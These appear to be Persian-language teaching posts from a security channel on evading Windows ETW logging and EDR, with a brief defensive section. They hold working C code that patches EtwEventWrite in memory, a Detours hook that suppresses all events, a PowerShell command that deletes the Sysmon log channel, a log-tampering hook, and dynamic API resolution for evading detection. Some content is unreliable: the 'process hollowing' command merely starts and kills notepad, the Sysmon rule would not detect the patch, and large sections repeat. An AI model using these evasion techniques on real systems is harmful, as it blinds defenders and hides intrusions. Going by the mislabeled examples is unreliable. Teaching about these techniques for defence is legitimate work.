🚨 1. غیرفعالسازی ETW در زمان اجرا
🔹 مهاجمان میتوانند با تغییر برخی متغیرها یا استفاده از APIهای ویندوز، لاگگیری را غیرفعال کنند.
🔹 روش: تغییر مقدار EtwEventWrite در حافظه تا باعث از کار افتادن لاگگیری شود.
📌 نمونه کد (Patch کردن ETW در حافظه)
#include <windows.h>
#include <stdio.h>
void DisableETW() {
DWORD oldProtect;
void* etwAddr = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // تغییر اولین بایت به RET
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
}
int main() {
DisableETW();
printf("ETW Disabled!\n");
return 0;
}
🔍 این کد اولین دستور EtwEventWrite را به RET (0xC3) تغییر میدهد و باعث غیرفعال شدن لاگگیری میشود.
🚨 2.انجام Hook کردن APIهای مربوط به ETW
🔹 مهاجمان میتوانند EtwEventWrite را Hook کرده و کاری کنند که هیچ رویدادی ثبت نشود.
🔹 این روش اغلب در Rootkitها و بدافزارهای پیشرفته استفاده میشود.
📌 انجامHook کردن EtwEventWrite با Detours
#include <windows.h>
#include <detours.h>
typedef NTSTATUS (NTAPI* tEtwEventWrite)(HANDLE, LPCGUID, ULONG, ULONG, PVOID);
tEtwEventWrite pOriginalEtwEventWrite;
NTSTATUS NTAPI HookedEtwEventWrite(HANDLE RegHandle, LPCGUID EventDescriptor, ULONG UserDataCount, ULONG UserDataLength, PVOID UserData) {
return 0; // حذف همه لاگها
}
void HookETW() {
pOriginalEtwEventWrite = (tEtwEventWrite)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)pOriginalEtwEventWrite, HookedEtwEventWrite);
DetourTransactionCommit();
}
🔍 این کد مانع از ثبت هرگونه لاگ ETW میشود.
🚨 3. حذف رجیستری ETW Providers
🔹 مکانیزمETW از رجیستری برای ذخیره تنظیمات لاگگیری استفاده میکند.
🔹 مهاجمان میتوانند کلیدهای رجیستری مربوطه را حذف کنند تا ETW دیگر رویدادهای خاصی را ثبت نکند.
📌 دستور حذف Providerهای Sysmon از رجیستری
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational" -Force
🔍 با این کار، لاگهای Sysmon در ETW غیرفعال میشوند.
🚨 4. استفاده از پردازشهای مجازی برای گمراه کردن ETW
🔹 بدافزارها میتوانند از Process Hollowing یا Doppelgänging استفاده کنند تا فرآیندهای مخرب از دید ETW پنهان بمانند.
🔹 این روشها باعث میشوند که پردازش واقعی چیزی به نظر برسد که نیست!
📌 روش اجرای Process Hollowing در PowerShell:
Start-Process "notepad.exe" -NoNewWindow -PassThru | %{ $_.id } | %{ Stop-Process -Id $_ -Force }
🔍 این کد میتواند پردازشهای تقلبی ایجاد کند که لاگهای آنها در ETW بیاثر میشود.
🚨 5. استفاده از تکنیک "Tampering with ETW Events"
🔹 مهاجمان میتوانند محتوای لاگهای ارسالشده به ETW را تغییر دهند.
🔹 این کار معمولاً با استفاده از Inline Hooking یا Kernel Mode Rootkit انجام میشود.
📌 روش تزریق DLL برای تغییر دادههای لاگشده:
BOOL WINAPI HookedEventWrite(EVENT_TRACE_HEADER *Header) {
strcpy((char*)Header->Buffer, "FAKE LOG DATA"); // تغییر دادهها
return TRUE;
}
🔍 این روش دادههای ثبتشده در لاگ ETW را تغییر میدهد.
🔰 راهکارهای مقابله با حملات علیه ETW
✅ 1. مانیتورینگ Integrity NTDLL
🔹 ابزارهایی مثل Windows Defender ATP و Sysmon میتوانند تغییرات در ntdll.dll را شناسایی کنند.
🔹 راهکار: اجرای دستور Sysmon برای شناسایی تغییرات غیرمجاز در EtwEventWrite:
<EventFiltering>
<Include>
<ImageLoad onmatch="include">
<ImageLoaded condition="contains">ntdll.dll</ImageLoaded>
</ImageLoad>
</Include>
</EventFiltering>
✅ 2. تشخیص Hookهای مشکوک با ابزارهای Memory Scanning
🔹 ابزارهایی مثل GMER و Volatility میتوانند Hookهای مشکوک روی EtwEventWrite را شناسایی کنند.
🔹 دستور Volatility برای بررسی تغییرات در EtwEventWrite
volatility -f memory.dmp --profile=Win10x64 apihooks
ادامه در پست بعد
#من_آموزش_میدهم
#آکادمی_روزبه
✍️روزبه نوروزی
اینETW یک مکانیزم لاگگیری کارآمد در ویندوز است که اطلاعات مفیدی درباره پردازشها، API Calls، و رفتارهای شبکهای ارائه میدهد. مهاجمان برای دور زدن ETW از تکنیکهای مختلفی استفاده میکنند که در ادامه بررسی میکنیم.
🚨 1. غیرفعالسازی ETW در زمان اجرا
🔹 مهاجمان میتوانند با تغییر برخی متغیرها یا استفاده از APIهای ویندوز، لاگگیری را غیرفعال کنند.
🔹 روش: تغییر مقدار EtwEventWrite در حافظه تا باعث از کار افتادن لاگگیری شود.
📌 نمونه کد (Patch کردن ETW در حافظه)
#include <windows.h>
#include <stdio.h>
void DisableETW() {
DWORD oldProtect;
void* etwAddr = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // تغییر اولین بایت به RET
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
}
int main() {
DisableETW();
printf("ETW Disabled!\n");
return 0;
}
🔍 این کد اولین دستور EtwEventWrite را به RET (0xC3) تغییر میدهد و باعث غیرفعال شدن لاگگیری میشود.
🚨 2.انجام Hook کردن APIهای مربوط به ETW
🔹 مهاجمان میتوانند EtwEventWrite را Hook کرده و کاری کنند که هیچ رویدادی ثبت نشود.
🔹 این روش اغلب در Rootkitها و بدافزارهای پیشرفته استفاده میشود.
📌 انجامHook کردن EtwEventWrite با Detours
#include <windows.h>
#include <detours.h>
typedef NTSTATUS (NTAPI* tEtwEventWrite)(HANDLE, LPCGUID, ULONG, ULONG, PVOID);
tEtwEventWrite pOriginalEtwEventWrite;
NTSTATUS NTAPI HookedEtwEventWrite(HANDLE RegHandle, LPCGUID EventDescriptor, ULONG UserDataCount, ULONG UserDataLength, PVOID UserData) {
return 0; // حذف همه لاگها
}
void HookETW() {
pOriginalEtwEventWrite = (tEtwEventWrite)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)pOriginalEtwEventWrite, HookedEtwEventWrite);
DetourTransactionCommit();
}
🔍 این کد مانع از ثبت هرگونه لاگ ETW میشود.
🚨 3. حذف رجیستری ETW Providers
🔹 مکانیزمETW از رجیستری برای ذخیره تنظیمات لاگگیری استفاده میکند.
🔹 مهاجمان میتوانند کلیدهای رجیستری مربوطه را حذف کنند تا ETW دیگر رویدادهای خاصی را ثبت نکند.
📌 دستور حذف Providerهای Sysmon از رجیستری
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational" -Force
🔍 با این کار، لاگهای Sysmon در ETW غیرفعال میشوند.
🚨 4. استفاده از پردازشهای مجازی برای گمراه کردن ETW
🔹 بدافزارها میتوانند از Process Hollowing یا Doppelgänging استفاده کنند تا فرآیندهای مخرب از دید ETW پنهان بمانند.
🔹 این روشها باعث میشوند که پردازش واقعی چیزی به نظر برسد که نیست!
📌 روش اجرای Process Hollowing در PowerShell:
Start-Process "notepad.exe" -NoNewWindow -PassThru | %{ $_.id } | %{ Stop-Process -Id $_ -Force }
🔍 این کد میتواند پردازشهای تقلبی ایجاد کند که لاگهای آنها در ETW بیاثر میشود.
🚨 5. استفاده از تکنیک "Tampering with ETW Events"
🔹 مهاجمان میتوانند محتوای لاگهای ارسالشده به ETW را تغییر دهند.
🔹 این کار معمولاً با استفاده از Inline Hooking یا Kernel Mode Rootkit انجام میشود.
📌 روش تزریق DLL برای تغییر دادههای لاگشده:
BOOL WINAPI HookedEventWrite(EVENT_TRACE_HEADER *Header) {
strcpy((char*)Header->Buffer, "FAKE LOG DATA"); // تغییر دادهها
return TRUE;
}
🔍 این روش دادههای ثبتشده در لاگ ETW را تغییر میدهد.
🔰 راهکارهای مقابله با حملات علیه ETW
✅ 1. مانیتورینگ Integrity NTDLL
🔹 ابزارهایی مثل Windows Defender ATP و Sysmon میتوانند تغییرات در ntdll.dll را شناسایی کنند.
🔹 راهکار: اجرای دستور Sysmon برای شناسایی تغییرات غیرمجاز در EtwEventWrite:
<EventFiltering>
<Include>
<ImageLoad onmatch="include">
<ImageLoaded condition="contains">ntdll.dll</ImageLoaded>
</ImageLoad>
</Include>
</EventFiltering>
✅ 2. تشخیص Hookهای مشکوک با ابزارهای Memory Scanning
🔹 ابزارهایی مثل GMER و Volatility میتوانند Hookهای مشکوک روی EtwEventWrite را شناسایی کنند.
🔹 دستور Volatility برای بررسی تغییرات در EtwEventWrite
volatility -f memory.dmp --profile=Win10x64 apihooks
ادامه در پست بعد
#من_آموزش_میدهم
#آکادمی_روزبه
❤2
داینامیک اینوکیشن (Dynamic Invocation)
به روشی گفته میشه که توش برنامهنویس یا مهاجم، یک تابع API (مثل توابع ویندوز) رو مستقیم از طریق import در جدول Import Address Table (IAT) صدا نمیزنه، بلکه:
آدرس تابع رو در زمان اجرا بهدست میاره (مثلاً با GetProcAddress)،
یا از روی نام DLL بهصورت دستی بارگذاری و resolve میکنه (مثلاً با LoadLibrary)،
یا حتی با تکنیکهای پیشرفتهتر، کل DLL رو از حافظه رمزگشایی و اجرا میکنه، بدون اینکه اصلاً فایل واقعی بارگذاری بشه.
چرا این کارو میکنن؟
برای دور زدن ابزارهای امنیتی. چون:
این EDR یا آنتیویروس معمولاً بررسی میکنه ببینه برنامهای مثل malware.exe توی IAT خودش چه توابع مشکوکی مثل CreateRemoteThread, VirtualAlloc, WriteProcessMemory و... داره یا نه.
اما اگه این توابع مستقیم در IAT نباشن و فقط در زمان اجرا و بهصورت پویا resolve بشن، ابزارهای signature-based خیلی سختتر میتونن اونو شناسایی کنن.
یه مثال ساده:
فرض کن یه برنامه میخواد VirtualAlloc رو صدا بزنه. حالت عادی:
#include <windows.h> VirtualAlloc(...); // این مستقیم توی IAT ثبت میشه
اما با
Dynamic Invocation:
FARPROC pVirtualAlloc; HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc"); pVirtualAlloc(...); // صدا زدن بهصورت پویا
توی حملات پیشرفتهتر:
گاهی حتی اسم توابع هم رمزنگاری شده یا مبهمسازی (obfuscate) میشن و بعد در زمان اجرا رمزگشایی میشن تا تحلیلگرها و ابزارها نتونن راحت بفهمن چه توابعی قراره استفاده بشن.
#آکادمی_روزبه
به روشی گفته میشه که توش برنامهنویس یا مهاجم، یک تابع API (مثل توابع ویندوز) رو مستقیم از طریق import در جدول Import Address Table (IAT) صدا نمیزنه، بلکه:
آدرس تابع رو در زمان اجرا بهدست میاره (مثلاً با GetProcAddress)،
یا از روی نام DLL بهصورت دستی بارگذاری و resolve میکنه (مثلاً با LoadLibrary)،
یا حتی با تکنیکهای پیشرفتهتر، کل DLL رو از حافظه رمزگشایی و اجرا میکنه، بدون اینکه اصلاً فایل واقعی بارگذاری بشه.
چرا این کارو میکنن؟
برای دور زدن ابزارهای امنیتی. چون:
این EDR یا آنتیویروس معمولاً بررسی میکنه ببینه برنامهای مثل malware.exe توی IAT خودش چه توابع مشکوکی مثل CreateRemoteThread, VirtualAlloc, WriteProcessMemory و... داره یا نه.
اما اگه این توابع مستقیم در IAT نباشن و فقط در زمان اجرا و بهصورت پویا resolve بشن، ابزارهای signature-based خیلی سختتر میتونن اونو شناسایی کنن.
یه مثال ساده:
فرض کن یه برنامه میخواد VirtualAlloc رو صدا بزنه. حالت عادی:
#include <windows.h> VirtualAlloc(...); // این مستقیم توی IAT ثبت میشه
اما با
Dynamic Invocation:
FARPROC pVirtualAlloc; HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc"); pVirtualAlloc(...); // صدا زدن بهصورت پویا
توی حملات پیشرفتهتر:
گاهی حتی اسم توابع هم رمزنگاری شده یا مبهمسازی (obfuscate) میشن و بعد در زمان اجرا رمزگشایی میشن تا تحلیلگرها و ابزارها نتونن راحت بفهمن چه توابعی قراره استفاده بشن.
#آکادمی_روزبه
👍7